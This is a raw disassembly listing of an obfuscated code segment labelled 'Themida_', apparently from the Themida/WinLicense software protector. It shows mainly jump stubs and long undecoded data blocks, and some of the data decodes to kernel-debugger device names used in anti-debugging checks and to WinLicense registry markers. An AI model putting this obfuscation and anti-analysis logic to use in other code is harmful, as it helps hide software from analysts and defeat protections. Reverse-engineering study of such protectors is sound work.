loc_5654D2:				; CODE XREF: Themida_:005564A7j
		push	esi
		mov	esi, 4
		jmp	loc_560170
; ---------------------------------------------------------------------------


loc_5654DD:				; CODE XREF: Themida_:0055021Ej
		not	eax
		xchg	eax, esi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1
		jmp	loc_55558A
; ---------------------------------------------------------------------------
		db 87h
		dd 505C2404h, 4B8h, 58C10100h, 0F9B5E950h, 34FFFFFEh, 0C4835F24h
		dd 0FEBB5304h, 0E976B402h, 0FFFF5F8Dh, 8A68F9F7h, 89000038h
		dd 0DCE92414h, 87FFFFA9h, 0AAE9243Ch, 31FFFF16h, 240C8BC8h
		dd 4C481h, 0A9680000h, 8900000Fh, 8C68243Ch, 89000051h
		dd 1268240Ch, 8B54959Eh, 7EE9240Ch, 53FFFEB0h, 0B7E93FB3h
		dd 58FFFF21h, 8151D5F7h, 4ECh, 24148900h, 0DFFBFDBAh, 0AF96E9E6h
		db 2 dup(0FFh)
word_565576	dw 8B66h		; DATA XREF: Themida_:0054FDACo
		dd 0EC812404h, 4, 0E9243C89h, 0FFFEB227h, 88C9B353h, 503AE9DAh
		dd 0E6C1FFFFh, 0A8BA5202h, 18223BAh, 0E825E9D6h, 0EB81FFFFh
		dd 7D653424h, 867EC381h, 26E9B137h, 89FFFF5Dh, 0A6DAE9E0h
		dd 0BA52FFFFh, 2E441B18h, 58DECA81h, 0D2F728E0h, 0FF0128E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5655CD:				; CODE XREF: Themida_:0055215Ej
		xor	edi, 62FB517Fh
		push	56D7h
		mov	[esp], edi
		jmp	loc_55CB1A
; ---------------------------------------------------------------------------


loc_5655E0:				; CODE XREF: Themida_:0055360Bj
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_54FF17
; ---------------------------------------------------------------------------
		dd 0B5BD6655h, 0ED836615h, 0D5F766FFh, 0FFC271E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5655FD:				; CODE XREF: Themida_:005436F4j
		jmp	short loc_565635
; ---------------------------------------------------------------------------
aUser32_dll_0	db 'USER32.dll',0
aAdvapi32_dll_0	db 'ADVAPI32.dll',0
aNtdll_dll_0	db 'NTDLL.dll',0
		db '×',7,0Ah,0
		db 4, 0, 12h
		dd 0C000C00h, 98003500h, 0A47A3C03h
		db 72h
; ---------------------------------------------------------------------------


loc_565635:				; CODE XREF: Themida_:loc_5655FDj
		jmp	loc_565ED3
; ---------------------------------------------------------------------------
		dw 0DD68h
		dd 0E906059Ah, 0FFFDE395h, 59B8268h, 0E38BE906h, 0A168FFFDh
		dd 0E906059Ch, 0FFFDE381h, 59DAD68h, 0E377E906h, 0D68FFFDh
		dd 0E906059Eh, 0FFFDE36Dh, 59EFA68h, 0E363E906h, 6668FFFDh
		dd 0E906059Fh, 0FFFDE359h, 3E525326h, 0A321CAABh, 0DDB338DEh
		dd 4D03A448h, 0FE9217F8h, 0FC9DC974h, 6C0C91F7h, 0E2B0054Bh
		dd 4F268BD9h, 1F9B3AAEh, 956920Bh, 585EEE71h, 57118A9Eh
		dd 0F86F7109h, 56F16ABEh, 984F7109h, 25EEA71Ch,	5B3CE2ADh
		dd 0C4533656h, 9C89EAAh, 59467512h, 5E586BCh, 3DC256D4h
		dd 0C4533EABh, 0D6999FA9h, 36F0C7B5h, 35B57912h, 0C0E98B97h
		dd 17C2DD88h, 9F159E70h, 2B476510h, 2AD28768h, 0BE2BBD42h
		dd 6D257A19h, 651FD997h, 35124CC5h, 4F25B097h, 3820097Fh
		dd 38500795h, 0C8E6048Fh, 149D7F0Eh, 0B39B1174h, 9B374C7Bh
		dd 0B55816C5h, 505525E2h, 3BD8ADC5h, 35B3D6B6h,	7C29CC51h
		dd 1673159Eh, 362BE88Bh, 16F6390Ah, 6BCFBh, 8324F700h
		dd 169B78CDh, 0E009EF72h, 707519ECh, 0C3E8891Ch, 0A2F8278Dh
		dd 0DDA024CDh, 41D4B83Dh, 0F75A0EB3h, 0A8C99F20h, 56C15AEEh
		dd 8D3F7109h, 0A2432AEEh, 0CC565304h, 20088B3Fh, 0B8722444h
		dd 69A348D5h, 770EEDF0h, 9423994Ch, 9BAFCBE9h, 750C7577h
		dd 1FE92F1h, 4B1E4E73h,	0B45911FCh, 2B65C3E4h, 48E0B85Ah
		dd 710956CFh, 29688D61h, 0A530B95Ah, 520C8ADEh,	9565DF6h
		dd 5134A371h, 3BAE3EC3h, 0A14A28BDh, 0A5906409h, 0B4931116h
		dd 48D732h, 329FEF45h, 501B5A5Bh, 2DE0D60Dh, 617805Dh
		dd 0C9A80000h, 40DDA024h, 0AE40D5BBh, 1AF24705h, 8D62F795h
		dd 53826064h, 1B497207h, 8FDDE2B6h, 3D53583Ah, 0AC20C5A8h
		dd 1CB59515h, 60710956h, 432A13D0h, 0B0472AA2h,	192730Fh
		dd 0FE456E00h, 0EA6FBEEh, 0F0A79B7Ch, 850068C4h, 4F554397h
		dd 8996C62h, 46h, 0A2432AABh, 0F26FB52Eh, 2770EF0h, 69064A6Bh
		dd 7E6801Eh, 0B4F24E6Fh, 11DF7C94h, 5B17C275h, 0A7E4FEA1h
		dd 348B7305h, 0A247D5B8h, 30B95B2Eh, 58B8558h, 43FD0000h
		dd 0B706EE7h, 0F1F69E71h, 4D3F297h, 6C012BA8h, 0CC4EAE89h
		dd 0D2E9992Bh, 0E4400547h, 0B1C9EE81h, 48E32BEEh, 2571B0Ch
		dd 2EC5466Ch, 93FB71B2h, 6F0BA9D4h, 47FC95B5h, 327770Eh
		dd 770E478Ah, 0B52063F6h, 1BA9813Fh, 99751162h,	640B9EF2h
		dd 17620D43h, 6D27E199h, 0B6C44DDh, 2AFEB871h, 710B6CB1h
		dd 77CD580Fh, 8F43057h,	5D3D906Fh, 0CE553058h, 423FDDB0h
		dd 4507ACh, 0B042D7B5h,	19FC410Bh, 0DFE4DD94h, 15F5E6D5h
		dd 4F8F8h, 0C7E88B00h, 5A5F3C81h, 24CDA336h, 0B439DDA0h
		dd 7AC4DD0h, 6634E341h,	91646891h, 5E8FC01h, 8B1E7277h
		dd 0F48DC3E4h, 54FD96B2h, 0B1437109h, 0A2432A32h, 0FB0472Ah
		dd 9E23F05Dh, 919263CEh, 7913FE03h, 0EFF90294h,	0EF3371FAh
		dd 0C81C00AFh, 0EEFF0F3h, 0FC143677h, 6D834A75h, 0D4889D86h
		dd 7C1F996Ch, 356D6104h, 0D8C2BE46h, 0FFFFFECEh, 0A2432A5Bh
		dd 96B26C2Ah, 770EF0FDh, 0AF189443h, 80A8C6E4h,	7511F016h
		dd 74335104h, 7BCFEB09h, 6F0EFA4Dh, 0A44C1CCBh,	770ED126h
		dd 791438E4h, 0E9E30494h, 0E64D7604h, 2F23390Ah, 47DC996Dh
		dd 5F000001h, 0E2AD25EEh, 0C89EAAC4h, 46751209h, 0D1DD793h
		dd 710BC194h, 0CA877DE8h, 0B5CE7C62h, 43612CC7h, 0CAAD0327h
		dd 39CC9538h, 5035575Ch, 7E6EFDD4h, 6A03E49h, 0D2D7B94Ch
		dd 0F93E7656h, 0D5809B37h, 812AC89Dh, 0F5986D2Bh, 66099CF0h
		dd 0DA8B2E41h, 0BE4E390Ah, 3ECA3h, 0F3F48700h, 466B089Dh
		dd 0D0D9BF02h, 0A04529BCh, 33B8592Ch, 7228D75Dh, 0ED70149Dh
		dd 11E4E80Dh, 876A7E83h, 0F899CFF0h, 53F16ABEh,	0BD4F7109h
		dd 6785F03Eh, 19FC914Bh, 0D54EDA94h, 2B770EF0h,	0CCE8C0BCh
		dd 6A750C77h, 5022C3FFh, 0C25025ABh, 2BC2AF39h,	5BC2EB8Ah
		dd 4F1FE0D6h, 38C92h, 53542700h, 26CBA83Dh, 0B039DFA2h
		dd 0A549DCh, 9318F94Ch,	92C877FDh, 0D90F4FDh, 0B104486Dh
		dd 278ADEE3h, 9839AF50h, 52910A1Eh, 5DEF7109h, 0A2432A9Eh
		dd 0DCB0472Ah, 0EF0D34Ch, 97682977h, 12F1E879h,	3D2C4DD8h
		dd 4FBD463Bh, 8C6119E4h, 68C4E9h, 20439785h, 0AC08AD4Dh
		dd 0E3F999Ch, 0D4872377h, 0ADA7CDCEh, 89BA361Dh, 996C5B74h
		dd 0FFFD5D6Fh, 432A88FFh, 0F29D2AA2h, 62D8013Eh, 60CFF9ECh
		dd 0C8A8E246h, 0C3967511h, 18EED68Dh, 0B1C9E792h, 878416F7h
		dd 8460CFF0h, 1208EEA4h, 8239AC75h, 0CB2113C4h,	83D4DDB2h
		dd 68C410A7h, 0F9F1AD40h, 0D4D2BDD8h, 5F388E9Ah, 0A336C6FDh
		dd 0F5F39E29h, 8D556DBDh, 0F98CCCFAh, 90F5971Ch, 10AE3D14h
		dd 88DF9A7Dh, 0C3B1E956h, 5439AF3Ah, 12853CC1h,	0BF48C775h
		dd 29F322Fh, 41D00000h,	0B84528BCh, 26C85D33h, 927ACF9Dh
		dd 5EA7F6Dh, 0DB1AE8FCh, 83C1EA8Fh, 37555A3Eh, 0A52BD0A2h
		dd 0D4B83DD0h, 0A43D0D8Dh, 18710952h, 85F08B68h, 58F259ADh
		dd 0BB0601DBh, 7C092BFFh, 30A7750Bh, 6302BC76h,	0A53E6E8Fh
		dd 1B71098Bh, 0FF9DF04Ch, 4B29BCFAh, 0D3A6CAA6h, 4DD0B841h
		dd 6D6A05AAh, 0ACE0D6A7h, 23301DCh, 0AD4C0000h,	24F14408h
		dd 9264C99Fh, 0FE967B69h, 7106EBF9h, 6FAE0448h,	3FAD563Bh
		dd 0A321C6AAh, 0D1B73CDEh, 4004A94Ch, 38D17931h, 84710951h
		dd 85F077F4h, 0BDFF4B67h, 73750C77h, 543BCAE4h,	0B6264B99h
		dd 6EEA3199h, 7038592Fh, 38AC3B68h, 102D058Fh, 0BD599193h
		dd 21DB9762h, 0AA06AB4Ch, 99B0382h, 0FEEE7D71h,	13757E13h
		dd 0C65FEBA5h, 3A71099Ah, 3C76D1AFh, 0BA9CD182h, 392396F5h
		dd 9D976EFh, 0A11FCA71h, 0E8862BCCh, 37B85F2Eh,	9D97C15h
		dd 9F15C071h, 0DAB84DCBh, 0A2EC5BD1h, 43C46402h, 0B97109D9h
		dd 69FCBAD2h, 0E3866287h, 0D6E1EB0Ch, 0B86509DCh, 2DB8D0D5h
		dd 0E5430646h, 84C8ED80h, 21595E31h, 0A804A94Ch, 0DA8AB9C0h
		dd 18A17734h, 0DE8E1570h, 73159E73h, 0A9E93D01h, 0EBA3F72Bh
		dd 14C7E304h, 49B690Ah,	0A5C9A7FEh, 0D0B83DD0h,	74D4AC4Dh
		dd 7109CBDBh, 0BD2FBA21h, 0DCB94CEEh, 316559D7h, 17B09852h
		dd 657109CCh, 80177AF6h, 921F387h, 7109CB90h, 0FA9279ECh
		dd 961BF8EFh, 400493F6h, 0F5971CFDh, 2CE09FACh,	28D1A6F8h
		dd 0E840FAA4h, 7109CB6Fh, 0EF14E6CDh, 30C1A400h, 8457C18Bh
		dd 6F0D63B6h, 5AD1354Ah, 9EBFE7Ah, 0C1E3E8E0h, 8F34C59Dh
		dd 1CA174D9h, 7C6DA44Ch, 4179E95Ch, 3EDCC9ACh, 2BBE2EB5h
		dd 6D25694Dh, 0B967658Ah, 29A344D4h, 0CAADC0BCh, 39DEA325h
		dd 51AF307Ah, 47D2A789h, 3937682Bh, 54687348h, 0C69B0470h
		dd 4A265FFFh, 91C57B22h, 0A74936D9h, 0B01F4A02h, 0F18362DCh
		dd 76196CC8h, 25501771h, 0D15FEB87h, 4FB69BBFh,	0D0BBF498h
		dd 62B494D2h, 0D8BC9717h, 23DD5B0Dh, 9DF88E07h,	0D1D6BEB8h
		dd 0F88D6BFEh, 618A6815h, 8C63F69Ah, 95E91CA1h,	4201F37Eh
		dd 2FB904ADh, 3F6D1607h, 9ACE6264h, 0C4882DC0h,	4F199E71h
		dd 0E3E50AE2h, 691DBEF8h, 0C1DAC89Eh, 63B78B61h, 6A8F6D00h
		dd 9314FB8Eh, 0A18943FDh, 0AC3DB528h, 66BC194h,	0C31E4E6Fh
		dd 0Dh,	886C0172h, 6D606567h, 0D08C688Dh, 0A6472AD3h, 33B45B26h
		dd 9D26F459h, 6D9266CBh, 0F801967Bh, 476C0D90h,	0D3D4B805h
		dd 0B942D4B9h, 8B1422Fh, 89570B40h, 4C781E7h, 81000000h
		dd 4EFh, 243C8700h, 242C895Ch, 81E38953h, 4C3h,	4EB8300h
		dd 5C241C87h, 53243C89h, 0C381E389h, 4,	4EB81h,	1C870000h
		dd 0C895C24h, 4EC8124h,	89000000h, 0CBE2434h, 8906059Ah
		dd 8B545EF7h, 0C481240Ch, 4, 0F3B95157h, 31594068h, 5904244Ch
		dd 8108418Fh, 68F30871h, 0C8B5940h, 0E0895024h,	405h, 40500h
		dd 4870000h, 3C8B5C24h,	0E3895324h, 4C381h, 0C3810000h
		dd 4, 5C241C87h, 0FDDB08E9h
		db 0FFh, 6Fh, 0F3h
; ---------------------------------------------------------------------------


loc_565ED3:				; CODE XREF: Themida_:loc_565635j
		mov	eax, 605A1BEh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 3B4ADA7Ch, 346C765Bh, 7763AFC5h, 2792F47h, 792F1AB4h
		dd 12925B8Eh, 2452DCFFh, 779B588Eh, 21E2B390h, 1EC18069h
		dd 542AD602h, 21518E71h, 1856B35Fh, 2EA87F89h, 4EFB4074h
		dd 66857560h, 779FD48Dh, 27A05898h, 4B90C3C2h, 7EAD003Fh
		dd 62B47AECh, 27C7A1DCh, 7E8h, 0E09FA300h, 33A64BD1h, 33DBBA66h
		dd 0CFBE665Bh, 2DC381C0h, 0B8000066h, 194Eh, 58E0Fh, 3BBF0000h
		dd 8B7A8CBDh, 9E90Bh, 0BC830000h, 0D99C61F7h, 81A42B3Ah
		dd 0B3631CF1h, 6E85610h, 0DF000000h, 0DEBD25B7h, 29BE6607h
		dd 815E5F90h, 3A0C01C1h, 0EE861h, 0F8C30000h, 93C3DACFh
		dd 1C7A9B34h, 5A914859h, 0F4C68166h, 0F1815EBBh, 52E122BEh
		dd 840Fh, 52510000h, 2ED78166h,	38F5F47h, 4EB83F8h, 5E8h
		dd 6CD95600h, 62BECEE4h, 5A5CB961h, 2D850F48h, 0E8000000h
		dd 0Fh,	66570D50h, 0FD1ACF38h, 0EB33186h, 0FC1589CEh, 40E95Ah
		dd 69F80000h, 440961FAh, 0B9DED757h, 0CDD37257h, 0BF63E172h
		dd 13E9h, 5E6A0F00h, 0D943000h,	296676D3h, 0B944CB10h
		dd 28F4F0CDh, 0FFFF3EE9h, 0EDAE7EFFh, 0CED2D7ABh, 4A71A765h
		dd 0F0C809DDh, 73E97039h, 60000000h, 2AADBD83h,	0F000603h
		dd 584h, 5EE900h, 6A0000h, 0F303E80h, 885h, 46006A00h
		dd 35E9h, 333E8000h, 8850Fh, 106A0000h,	24E946h, 3E800000h
		dd 8850F34h, 6A000000h,	13E94630h, 80000000h, 850F353Eh
		dd 8, 0E946406Ah, 2, 858D006Ah,	6031DA5h, 24048950h, 24348950h
		dd 95FF006Ah, 6031AE1h,	85C6C361h, 6032F39h, 0B2D9684Dh
		dd 48139C6h, 6EC3CF24h,	11B5FF6Ah, 8D06032Dh, 338A785h
		dd 89D0FF06h, 31AE185h,	5C1EEB06h, 535C2E5Ch, 454349h
		dd 5C2E5C5Ch, 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h
		dd 81C08B00h, 4A08B7EEh, 0F9BD8B1Bh, 83060313h,	31039BDh
		dd 9750006h, 111DBD83h,	74000603h, 8B535019h, 40FB8C0h
		dd 85890000h, 6031775h,	0B0919D8Dh, 0D3FF0605h,	0BD83585Bh
		dd 603111Dh, 50177400h,	40FB853h, 85890000h, 6031775h
		dd 0AD809D8Dh, 0D3FF0605h, 6A585Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 7479EC3h
		dd 66869841h, 31FDB529h, 6A0603h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 0F59767C3h, 6AC08Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 453C52C3h, 0C6F1CD20h, 32F3985h, 13E84306h, 2A000000h
		dd 7AD72360h, 0C67210h,	4BA89688h, 1C72A6Fh, 1605637h
		dd 32DED9Dh, 1DB52306h,	61060326h, 0CB7C685Fh, 810F9A20h
		dd 3, 81F38B66h, 0A5802434h, 6A26AEh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 1AF60C3h
		dd 0B2BE3F4Fh, 8B5DA9DBh, 31FE595h, 59B5FF06h, 80060313h
		dd 0DA8032DEh, 0A7858D29h, 89060338h, 303B58Dh,	8BD0FF06h
		dd 25BA90F2h, 5074154Bh, 0A0092BBAh, 9FB99005h,	8955AFCEh
		dd 32D819Dh, 6A006A06h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 6153C356h, 0A368C920h
		dd 666ECB97h, 812820BFh, 97232434h, 6A6ECBh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 66798CC3h
		dd 0B65FF281h, 7E9036Ah, 0C2000000h, 4E341821h,	6AB6E0h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 51C35141h
		dd 1BCA01B0h, 65BD0172h, 8A060324h, 0B2036AD0h,	52776806h
		dd 52509E94h, 188D0Fh, 12E80000h, 0B7000000h, 155DE943h
		dd 0F8087BB5h, 0A1D575Ah, 9D78C379h, 310F5E86h,	0B10F74BEh
		dd 81585A64h, 0AD892404h, 0B589216Bh, 6031D11h,	0A45F9D8Dh
		dd 0BF660605h, 8A50A587h, 241C89F3h, 816645B6h,	0FFC1D5F2h
		dd 850F40D0h, 29Bh, 0A5A0E1B9h,	0FC535840h, 0F525059h
		dd 48Dh, 5FBA6600h, 489596Fh, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 6AA7BD84h
		dd 35958B00h, 68060306h, 2A0762F5h, 13E9h, 0B1E38500h
		dd 602B8637h, 6A591EDAh, 6206DA78h, 0E68EFD52h,	75243481h
		dd 8B2A0762h, 31955B5h,	6A036A06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 7BF7C355h
		dd 2D8509C2h, 8B060317h, 310A9BDh, 0F9858906h, 6A060330h
		dd 5870F00h, 66000000h,	0E04AF281h, 8166036Ah, 0E82A23DFh
		dd 4, 0C0000000h, 8B50FE8Bh, 57042444h,	8B5AF6B6h, 0C83CBA00h
		dd 44895AADh, 0F48A0424h, 41BD8958h, 8D060320h,	5A4689Dh
		dd 38F58006h, 0BE505193h, 265837FAh, 50505F59h,	0FE95152h
		dd 0A3000000h, 0AB210767h, 6B377C6Bh, 2A381B88h, 0F5FA4FAh
		dd 4810F31h, 66000000h,	5A06ECBAh, 66539358h, 0FF59FB8Bh
		dd 0D8589D0h, 0E806030Ah, 10h, 4993E6B2h, 8377A5CFh, 0A451E581h
		dd 8FBAF7Ah, 97D9531h, 40590603h, 159850Fh, 9D890000h
		dd 6031339h, 4ADE8158h,	90274E5Dh, 0D74CBE50h, 819005FCh
		dd 0FFCFECF1h, 6A006A2Ch, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 6E92C351h, 0E917F742h
		dd 12h,	40991D34h, 0FEC604Dh, 6EA7ECD8h, 0F33C607Dh, 89688E80h
		dd 0E8049D10h, 0Ch, 33810964h, 0EABA0008h, 0D5CA83AAh
		dd 13E9h, 0B6C61000h, 0F5AF94DAh, 0EC68F275h, 4D63CF57h
		dd 0DC9C0ED1h, 2434815Eh, 49D1009h, 2830Fh, 0B8B10000h
		dd 8589036Ah, 6031F1Dh,	8589006Ah, 603109Dh, 0DE9036Ah
		dd 5E000000h, 719E64C6h, 8D9EA03h, 8DDE43F6h, 0B9EB3C68h
		dd 3ABA66F1h, 2434813Ch, 31B9EB3Ch, 10FDB533h, 9D8D0603h
		dd 605A473h, 0F0D98166h, 810F5004h, 8, 5E565250h, 585A310Fh
		dd 6A241C89h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0B06BC357h, 8D8B801Bh,	6032379h
		dd 8166D0FFh, 40E300F7h, 3D850Fh, 8B660000h, 0B19D29CBh
		dd 58060321h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Ah,	0B0C35141h, 0E3CFD71Eh,	0BD29CD83h, 6032CA9h, 140E9h
		dd 41958B00h, 8B060325h, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0E02CFD78h, 8C0FF2E4h
		dd 1, 6A4BFCh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 8BDCB8C3h, 331A5B5h, 2ABF6006h
		dd 8B423B24h, 0C65861DFh, 32F3985h, 95894306h, 6031B6Dh
		dd 4E8h, 764AA700h, 0FB8B66C0h,	5F526050h, 8B6131B1h, 0BA042444h
		dd 69CE8612h, 11E9008Bh, 1D000000h, 0C5FBCA61h,	0F11F91A7h
		dd 8422499Ch, 58C8E109h, 4244489h, 8D0Fh, 0B2580000h, 59B5FFC8h
		dd 0F060313h, 0E8Eh, 9E900h, 95B40000h,	4E25FE57h, 8D7FA5C7h
		dd 338A785h, 0F1BD8B06h, 0FF060322h, 0C88B66D0h, 0BE85093h
		dd 80000000h, 4FBBDBFBh, 0F7CA349h, 0BE9B2E8h, 14000000h
		dd 0FFA17A9h, 5455B386h, 935E56F9h, 8D8BD0FFh, 6032C85h
		dd 72879D8Dh
		dd 6A0603h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 34A4DBC3h, 6DD6DF7Ah, 0B52B70F2h,	6030AE9h
		dd 1B8h, 0D5B50300h, 0FF06032Ah, 29C18BE3h, 323619Dh, 8BC08B06h
		dd 32519B5h, 39BD8306h,	60310h,	0BD830975h, 603111Dh, 50197400h
		dd 0B8C08B53h, 40Fh, 23918589h,	9D8D0603h, 605B0F8h, 585BD3FFh
		dd 111DBD83h, 74000603h, 0B8535017h, 40Fh, 23918589h, 9D8D0603h
		dd 605AD99h, 585BD3FFh,	2DED9529h, 81660603h, 0F5616D7h
		dd 683h, 0E9BD8B00h, 8B060302h,	0AAE9C0h, 6F530000h, 61777466h
		dd 575C6572h, 694C6E69h, 736E6563h, 68430065h, 496B6365h
		dd 7058004Eh, 45746F72h, 746978h, 63656843h, 54554F6Bh
		dd 6E695700h, 6563694Ch, 5665736Eh, 69737265h, 57006E6Fh
		dd 694C6E69h, 736E6563h, 69724465h, 56726576h, 69737265h
		dd 57006E6Fh, 694C6E69h, 736E6563h, 736E4965h, 636E6174h
		dd 78450065h, 6B4F7469h, 6F725000h, 4E4963h, 636F7250h
		dd 54554Fh, 74697845h, 45004E49h, 4F746978h, 54005455h
		dd 4E4970h, 3 dup(0)
		dd 77DDAF7Fh, 77DD72F0h, 596E9h, 0B4858900h, 8D0605ABh
		dd 5ABB085h, 858D5006h,	605AB1Ah, 16850h, 95FF8000h, 605ABC0h
		dd 0B5FF196Ah, 605ABB4h, 6A016Ah, 0AB49858Dh, 0FF500605h
		dd 5ABB0B5h, 4195FF06h,	0FF060303h, 5ABB0B5h, 0BC95FF06h
		dd 0FF0605ABh, 5ABB0B5h, 2D95FF06h, 0C3060320h,	0ABB48589h
		dd 858D0605h, 605ABB0h,	1A858D50h, 500605ABh, 168h, 0C095FF80h
		dd 6A0605ABh, 0B4858D04h, 500605ABh, 6A046Ah, 0AB73858Dh
		dd 0FF500605h, 5ABB0B5h, 4195FF06h, 0FF060303h,	5ABB0B5h
		dd 0BC95FF06h, 0FF0605ABh, 5ABB0B5h, 2D95FF06h,	0C3060320h
		dd 0ABB48589h, 858D0605h, 605ABB0h, 1A858D50h, 500605ABh
		dd 168h, 0C095FF80h, 6A0605ABh,	0B4858D04h, 500605ABh
		dd 6A046Ah, 0AB5B858Dh,	0FF500605h, 5ABB0B5h, 4195FF06h
		dd 0FF060303h, 5ABB0B5h, 0BC95FF06h, 0FF0605ABh, 5ABB0B5h
		dd 2D95FF06h, 0C3060320h, 0ABB48589h, 858D0605h, 605ABB0h
		dd 1A858D50h, 500605ABh, 168h, 0C095FF80h, 6A0605ABh, 0B4858D04h
		dd 500605ABh, 6A046Ah, 0AB86858Dh, 0FF500605h, 5ABB0B5h
		dd 4195FF06h, 0FF060303h, 5ABB0B5h, 0BC95FF06h,	0FF0605ABh
		dd 5ABB0B5h, 2D95FF06h,	0C3060320h, 0ABB48589h,	858D0605h
		dd 605ABB0h, 1A858D50h,	500605ABh, 168h, 0C095FF80h, 6A0605ABh
		dd 0B4858D04h, 500605ABh, 6A046Ah, 0AB36858Dh, 0FF500605h
		dd 5ABB0B5h, 4195FF06h,	0FF060303h, 5ABB0B5h, 0BC95FF06h
		dd 0FF0605ABh, 5ABB0B5h, 2D95FF06h, 0C3060320h,	1175BD83h
		dd 0F000603h, 0B84h, 759D8B00h,	83060311h, 3894CC3h, 75BD83C3h
		dd 60311h, 0B840Fh, 9D8B0000h, 6031175h, 8950C383h, 0BD83C303h
		dd 6031175h, 0B840F00h,	8B000000h, 311759Dh, 54C38306h
		dd 83C30389h, 31175BDh,	840F0006h, 0Bh,	11759D8Bh, 0C3830603h
		dd 0C3038958h, 1175BD83h, 0F000603h, 0B84h, 759D8B00h
		dd 83060311h, 3895CC3h,	8960C3C3h, 5ABB485h, 0B0858D06h
		dd 500605ABh, 0AB1A858Dh, 68500605h, 80000001h,	0ABC095FFh
		dd 46A0605h, 0ABB4858Dh, 6A500605h, 8D006A04h, 5ABAB85h
		dd 0B5FF5006h, 605ABB0h, 34195FFh, 0BD830603h, 6031039h
		dd 0C840F00h, 0FF000000h, 5ABB0B5h, 0BC95FF06h,	0FF0605ABh
		dd 5ABB0B5h, 2D95FF06h,	61060320h, 858960C3h, 605ABB4h
		dd 0ABB0858Dh, 8D500605h, 5AB1A85h, 1685006h, 0FF800000h
		dd 5ABC095h, 8D046A06h,	5ABB485h, 46A5006h, 858D006Ah
		dd 605AB8Dh, 0B0B5FF50h, 0FF0605ABh, 3034195h, 39BD8306h
		dd 60310h, 0C840Fh, 0B5FF0000h,	605ABB0h, 0ABBC95FFh, 0B5FF0605h
		dd 605ABB0h, 202D95FFh,	0C3610603h, 0B4858960h,	8D0605ABh
		dd 5ABB085h, 858D5006h,	605AB1Ah, 16850h, 95FF8000h, 605ABC0h
		dd 858D046Ah, 605ABB4h,	6A046A50h, 94858D00h, 500605ABh
		dd 0ABB0B5FFh, 95FF0605h, 6030341h, 1039BD83h, 0F000603h
		dd 0C84h, 0B0B5FF00h, 0FF0605ABh, 5ABBC95h, 0B0B5FF06h
		dd 0FF0605ABh, 3202D95h, 60C36106h, 0ABB48589h,	858D0605h
		dd 605ABB0h, 1A858D50h,	500605ABh, 168h, 0C095FF80h, 6A0605ABh
		dd 0B4858D04h, 500605ABh, 6A046Ah, 0AB9C858Dh, 0FF500605h
		dd 5ABB0B5h, 4195FF06h,	83060303h, 31039BDh, 840F0006h
		dd 0Ch,	0ABB0B5FFh, 95FF0605h, 605ABBCh, 0ABB0B5FFh, 95FF0605h
		dd 603202Dh, 8960C361h,	5ABB485h, 0B0858D06h, 500605ABh
		dd 0AB1A858Dh, 68500605h, 80000001h, 0ABC095FFh, 46A0605h
		dd 0ABB4858Dh, 6A500605h, 8D006A04h, 5ABA385h, 0B5FF5006h
		dd 605ABB0h, 34195FFh, 0BD830603h, 6031039h, 0C840F00h
		dd 0FF000000h, 5ABB0B5h, 0BC95FF06h, 0FF0605ABh, 5ABB0B5h
		dd 2D95FF06h, 61060320h, 85C760C3h, 605ABB4h, 1, 0ABB0858Dh
		dd 8D500605h, 5AB1A85h,	2685006h, 0FF800000h, 5ABC095h
		dd 0FC00B06h, 0F84h, 0B485C700h, 605ABh, 0E9000000h, 4Dh
		dd 858D046Ah, 605ABB4h,	6A046A50h, 2E858D00h, 500605ABh
		dd 0ABB0B5FFh, 95FF0605h, 6030341h, 840FC00Bh, 0Fh, 0ABB485C7h
		dd 605h, 0AE90000h, 0C7000000h,	5ABB485h, 106h,	0B0B5FF00h
		dd 0FF0605ABh, 3202D95h, 858B6106h, 605ABB4h, 858960C3h
		dd 605ABB4h, 0ABB0858Dh, 8D500605h, 5AB1A85h, 1685006h
		dd 0FF800000h, 5ABC095h, 8D046A06h, 5ABB485h, 46A5006h
		dd 858D006Ah, 605AB2Eh,	0B0B5FF50h, 0FF0605ABh,	3034195h
		dd 39BD8306h, 60310h, 0C840Fh, 0B5FF0000h, 605ABB0h, 0ABBC95FFh
		dd 0B5FF0605h, 605ABB0h, 202D95FFh, 0C3610603h,	0B4858960h
		dd 8D0605ABh, 5ABB085h,	858D5006h, 605AB1Ah, 16850h, 95FF8000h
		dd 605ABC0h, 858D046Ah,	605ABB4h, 6A046A50h, 40858D00h
		dd 500605ABh, 0ABB0B5FFh, 95FF0605h, 6030341h, 1039BD83h
		dd 0F000603h, 0C84h, 0B0B5FF00h, 0FF0605ABh, 5ABBC95h
		dd 0B0B5FF06h, 0FF0605ABh, 3202D95h, 0C6C36106h, 32F3985h
		dd 7685206h, 0FFADE47Bh, 30175B5h, 0E995FF06h, 8906031Ch
		dd 5ABC085h, 3985C606h,	5206032Fh, 2E00E568h, 75B5FF90h
		dd 0FF060301h, 31CE995h, 0BC858906h, 0C60605ABh, 32F3985h
		dd 35685206h, 0FFB9BF12h, 30175B5h, 0E995FF06h,	8906031Ch
